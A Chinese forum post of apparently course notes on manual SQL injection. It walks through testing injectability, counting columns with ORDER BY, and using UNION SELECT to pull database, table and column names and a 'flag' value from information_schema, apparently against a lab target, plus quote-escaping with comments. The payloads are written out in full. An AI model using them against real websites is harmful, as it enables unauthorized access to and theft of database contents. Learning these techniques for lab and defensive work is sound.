Qter 发表于 2021-7-4 14:54:15

白帽速成!3天教你一招渗透江湖绝学!网络安全web安全信息安全

本帖最后由 Qter 于 2021-7-4 19:16 编辑

录播用软件:Bandicam

01.从0入门SQL注入

1.判断是否存在注入,即有没有被当作代码被执行
显错注入
id=1 and 1=2
id=1 and 1=1
id=1 --> id=2-1

id = 1 and sleep(5)

2.判断字段数

select * from admin order by 1
上面和1代码按表admin的第几个列进行排序
从1开始编号

.../index.php?id=1 order by 3
有几个列,就有几个字段

3.判断显错位---显示各字段
.../index.php?id=1 union select 1,2,3

select * from admin union select id,123 from test-----union前后选择出的字段要一致
如admin有两个字段,则后面可以用123填充,以匹配列数,做填充位


.../index.php?id=1 union select 1,2,3
这样返回原表的第一条记录

.../index.php?id=1 and 1=2 union select 1,2,3
这样原表数据不起作用了,后面union语句的1,2,3就是查询的结果了
即第一条查询不到数据,后面的就起作用
.../index.php?id=100000 union select 1,2,3


url编码 20%代表空格

4.利用显错位显示库名
select database();--显示库名
.../index.php?id=1 and 1=2 union select 1,database(),database()
--显示表名
.../index.php?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema='error'
--显示列名
union select 1,column_name,3 from information_schema.columns where table_schema='error' and table_name='error_flag' limit 0,1
union select 1,column_name,3 from information_schema.columns where table_schema='error' and table_name='error_flag' limit 1,1
union select 1,flag,3 from error_flag

显示所有列
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='error' and table_name='error_flag'

如果id字段为字符串的查询,如:
id='1 and 1=2'
这时要手动把单引号给结束掉,并加注释,防止--后面的空格被忽略,并使用代码中的单引号进入注释
id='1' and 1=2 -- q

z
页: [1]
查看完整版本: 白帽速成!3天教你一招渗透江湖绝学!网络安全web安全信息安全